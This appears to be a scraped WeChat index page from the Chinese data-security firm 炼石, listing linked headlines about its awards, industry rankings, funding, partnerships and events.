+![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[附下载！炼石参编《多方数据共享服务数据安全技术框架》标准发布](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247561298&idx=1&sn=3cc8bfff2eeb748094f92f4be51ae12a&scene=21#wechat_redirect) + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2B67xsUWltxYGPqWkIlRkR6Qk0UqQvCmxfOPyzAbsULIp2CAjyjAEYFQ/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[2024全国两会政府工作报告中的“数据安全”](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247542398&idx=1&sn=b04815642c31aea83779606c22bb210d&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaChvAuicTfewuIkZxqEP6qic866nibJcibjXyoNqzkWZhiauygMwvWD7v6ibOBgVwDxWvkibY9kMkkYDB8Nw/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BCl3ETlbib7JaEibXooUaPpz4XbMVIS4t2Y6Bia7pbS6zoI3LXM6skXpVg/640?wx_fmt=png&from=appmsg "") + +**炼石动态篇** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BCl3ETlbib7JaEibXooUaPpz4XbMVIS4t2Y6Bia7pbS6zoI3LXM6skXpVg/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + +**荣誉类** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石荣膺国家级专精特新“小巨人”](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247554968&idx=1&sn=617e244c2ee8be72e681bc7dc1499493&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCBe9ejGibWSDRw23Ou0Q2YVHoYia8s1GJbW0B0iby1VOicwF3aUvX6DkfQfqURgmPYxbic91WXnC5fOkg/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石入选国家互联网应急中心CNCERT首批数据安全支撑单位](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247541494&idx=1&sn=18af2c0eca5ce17176e9bcb7eb577490&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCeGQ21IDeZh6icvjTrFe2QIJgicBuJUia5KnpvibicwqqG4GicYrreBDYkoWkrkIlHLGfLVeYRD5ayHAaQ/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜讯 | 重庆炼石入选重庆市科技局科技型企业](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247540830&idx=1&sn=99994030407a0f447a45161f9573da1e&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaBEroTSHWSpFQTh6nicNLiaynstEj3vkVl7lEiapwPkyDsPhm65PpT0UMxNA4MX6Qh8DMibAsZDMcmcsw/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[安全“奥斯卡”丨炼石上榜ISC 2023数字安全创新能力百强](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247534829&idx=1&sn=aa08b28f27e0204fdd9d59ab67d59b50&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaBclib1zK7ibQoXtLxRLF7DhtP87pVqy9eZ4iaxQxthUbslvfQ67QiaKXqJsd0EDmp346jhtbNTicvxA4g/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报｜炼石入选中国通信标准化协会《数据要素产业图谱1.0》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247534961&idx=1&sn=5ae99542c98d16b416c6d1465e68920f&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBclib1zK7ibQoXtLxRLF7DhtWVrhHX3VdOlRjzz3nE7mk9bVguBAVkXBlCO4nmHHOsiawAmmEOAEia1g/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报｜炼石免改造数据安全入选上海网安产业创新大会优秀案例](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247542343&idx=1&sn=10f1fbb1d8a65b6b50945e50ce84687d&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBJ3t1Yibge6N5yralia6H1jQbXuFGGCOTmCBFnr5a1UbTKTESbITNOawhicXGEb2HreFFI4ZC7EoibxA/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石成功揭榜上海经信委2023年重点行业网络安全解决方案](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247542434&idx=1&sn=2b5bf842ab8cc481a739d7778944c23c&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaDHKqFWq1mVGn4ibrJMqExga8Fb0kmjXubjcbIfkg0jx9RsZnzpKZy0KYZ8pPiatTtwiayMRgmM3cPibg/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报｜炼石CEO荣获数据安全推进计划2023年度优秀演讲家](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247544006&idx=1&sn=88be3f26b0a148c0ac93523bbc5353d7&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAkwp2GpeVMW0chOgt0JVPyS74MnmiaibzaUmXAPC5DHcn3SAazJ00iaqib1LDkSTW8BbeUB8RZrcb5zQ/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报｜炼石入选2024中国网络安全全景图 密码与数据安全六领域](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247545313&idx=1&sn=4f3c5079b0cd933e864a745848b70175&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCEqOvfVguw4mJTSOrkC4XVsYMYxviaxiaFia95o4d5VSicOBgUb8Ou36KiaUOHkNS0wtCyWS5960y7Kxg/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石工业领域实践入选ISC《2024数据安全技术创新发展报告》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247547282&idx=1&sn=5cb1ddb24f8baa88f06f0e6d6e089f83&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaB7rIIprQANRZhkYaqSmlxU5bKq36gafFDsYx8xiatibc6H88XUz4GvYzOqhSjeEy6TLFUCj2ZWBVfw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报 | 炼石实力登榜“中国数据安全50强”](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247549907&idx=1&sn=974380e2170c509662511e75394fcadc&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCNBbSSwWiaqrs7TgsM9qS9IsyjnT0yTxVr2GsLGWKwO2SjQn8vS7DBcOxvxSNXxDZGdOVT2Oicg0Gg/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报! 炼石入选中国网安行业《数据安全产品及服务购买决策参考》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247549974&idx=1&sn=9fcb8fac3390241d92042c4f114d5e84&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaBEQRTDUE2TIpEerR9eqAfjOPEPbDp8EOWxtBAm1OzyKM9pAWdU4hvlYxxVLwvjuOMEjPrl0Vtlkw/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报! 炼石上榜2024中国网络安全全景图“数据安全”与“密码”领域](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247551457&idx=1&sn=9c8f1168c5cf49cdb2b29ca10204e3ea&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaB833TPibhFrfYGqlcqblIibGfvVicgIz8m6jAOIk8jETWz9XqALnexZSs1VgzpT9bLvlOibrPt076IUQ/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报 | 炼石入选信通院首期《数字安全护航技术能力全景图》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247551586&idx=1&sn=d2b9861820e7db2afed6d3a079e7c35b&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Bpz0ibJEOHMBxs0wGGVKuCq8npKFSicf5WtkRCTvGvmLEyFIpicS1osmIg/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石入选“2024中国信创500强”](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247553150&idx=1&sn=a1726a1b34fb8c9580d941ba8ec97139&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCS4nLTuphb8topxFSVsJoNicLH7ic9x0esoJFYKRibgzgdCekicYZRr8H3icicX0z5xHwjJDzib7MJoK9XA/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报! 炼石荣膺中国网络安全100强](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247554081&idx=1&sn=17e2baf9cbe8bac28f4fc550c1f6f208&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCIbiaeP2lRibu4n7r2dVUb11PhGXHt3fFJsibRFdWzpC93BGGgIRZp92u4FFSkbwJM8os6zk6r2S2WQ/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报! 炼石入选中国信通院《数据安全产业技术产品服务全景图》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247554679&idx=1&sn=43eb1884fa012531a765620bfd524878&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCePg1wN7FebiatY8enw2wXa08q1x3KWSAL9EeAJm3kugQjk0JfxHoofzyS8HjVibVBDiaTdiamVIbIog/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石荣获2024上海数字安全技能大赛"数据安全优秀案例"](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247555951&idx=1&sn=603e8cef03a21cb091cef86b38e01d94&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaC7D8rLdicdzxrhcBSyGVEWVIXtT9MXrmk3jhH7NEVzpeCQmChjbeiatD9lhCU8dfXf63zIovQkSUNw/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石亮相工信数据安全大会！上榜中国数据安全全景图](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247557871&idx=1&sn=6ad5754f275c69f4a92c5fe7b8da8a2d&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaA7lzfUficO65FH7asGjtzfJfj05AfhZAwe3bwfmIdEUmVOY3f4KibDvNTibHjicdsiaL1TJyNzq1kUG0g/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石免改造数据安全引擎平台上榜中国信通院“星熠”名单](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247559698&idx=1&sn=8d988e5323dcdfe39781156a59b040ab&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaAHZiatXBUghxYJtj1xJBxO2N70gSSRFRpDicrNibZJHjaia26ognqaguT9MPT6DRYDHl8mjYCgJDQWjg/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石《金融数据和个人信息脱敏方案》荣膺“金帽子”奖](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560261&idx=1&sn=be59bf36494c1bdefd945c62381a0890&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDonVeTb52wk8scNtneHLYSPBNSBJMbh3h2gVFJvm4tz3QXhicwhRNOm4kqbHE2KsfiaG1ibW5QOfoVg/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石入选2024年IDC中国数据安全服务厂商评估报告](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560530&idx=1&sn=a9969b91b433ce9e5862edabf9ef4e5b&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaAn55gicntWtJWiaywIms8xlUTI0KqAbwWGubTgx3fVzT0hEQ90HgCwX4RicySfucT2T2MJ5vWA5Y6zg/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石入选2024年《网络安全企业100强》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560613&idx=1&sn=9b7cf0d09edeed27c2f8091c2d0afd3c&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaBB8pnN5bS1tZFX2gkAMkfIAVf1onPsDhUfgAWIcWibDLTD3kWq7xrydc6V7d4GaJ1YAkcrDgV9GNQ/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石荣获工信部商用密码应用产业促进联盟奖项](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560954&idx=1&sn=2766773b9a5bb3ba6482d81cabe60979&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAELsCptKdIrlkRaNDQmrBfpybFlibvjPibeibJCrkkpLarKDI4tibhIbm43QH1OThXtAKNFpJrwJnCaA/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + +**动态类** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石完成数千万融资，勇攀数据安全朗玛峰](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247547280&idx=1&sn=6aafda662e4015973c0044030b63bf15&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCdd7e5nR4Qkmq7OvkTZFNbDKGW8ic8gLy8nicq1HicrleXAvNicRK4Reur9ufcLXLjQnulsnh4Hft2QA/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石九周年｜砥砺九载奋进路，勇毅前行谱新篇](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247539326&idx=1&sn=c7697124d0b1859b4a3caf063984bef6&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaD9YNX3WHDjSgCX7AxMaBN32iaoqV5Hs2xLXRE7BdorTibBjm51TvtEkeeNcOibao0Wo5O6EKoeHQVCw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[赢战2024！炼石天津落地暨开年冲锋启动会圆满成功](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247542504&idx=1&sn=9135a5bf486a8c98b49996fb5fb6523e&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaA1NMIZsJ9ibe7vpPUNCIROhPmOZicNLrwDkfKtNw1icwJEib84VDNlvZ3zBwvB7C76LpQ83sicd1fLesQ/640?wx_fmt=png&from=appmsg&random=0.1104774404154063&random=0.2280068493477232&random=0.8627180544532893&random=0.9986242430578933&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石受邀参加湖南省商用密码人才培养及专业建设研讨会](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247547751&idx=1&sn=18d14711a9802c0625d7481ed2b1b6d7&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaB2aUsxdU3u7wibGCWK8xBoPjxoYsnNFwLyAzicRqzfLeEpVNkicutuBax1ibxvbia3m2purnkChbIqK6A/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石受邀出席北理工首届校友企业生态大会](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247555928&idx=1&sn=1f44a1fb282addd2b851c74fbd6ad795&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaC7D8rLdicdzxrhcBSyGVEWV1nFX6TPtsRYNqtLP3yQbJwFrNNack2zDyrGkZVDjp4LuQN71heQicHw/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[天津市委搭台｜炼石免改造数据安全护航京津冀国产算力](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247537494&idx=1&sn=2bfc26668bc3ab640831f5652af6bea5&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaBCrc8PDXrdMiaFq0eLN2uIR2BX7xM2icxIvkeVvHdd2kubHhxbsmukeicgAFWVlHyQeLqH72DQ7Y0Mg/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜讯｜炼石荣膺“安全平行切面联盟”首批成员单位](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247542637&idx=1&sn=cdee8f0a73e51cd1b4b896e943cb2b22&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCnCu5ibTc5QSl1Hw3WmdFeQGQOcHicw41ia8XrHsdK0m0icaOWp94h5Of0ltGvPQBB6Hdiatul9yFYzCw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石与云上密码达成战略合作](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247548275&idx=1&sn=ae14d749b9a657b62b34e219b7d941f7&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaDORvT8COxl7kSMejpiaJfMia0TV8rljxm3U4Y8afUO7jABXMlfB9ThDic0FxBX2ltYbfGDSxINdehTw/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + 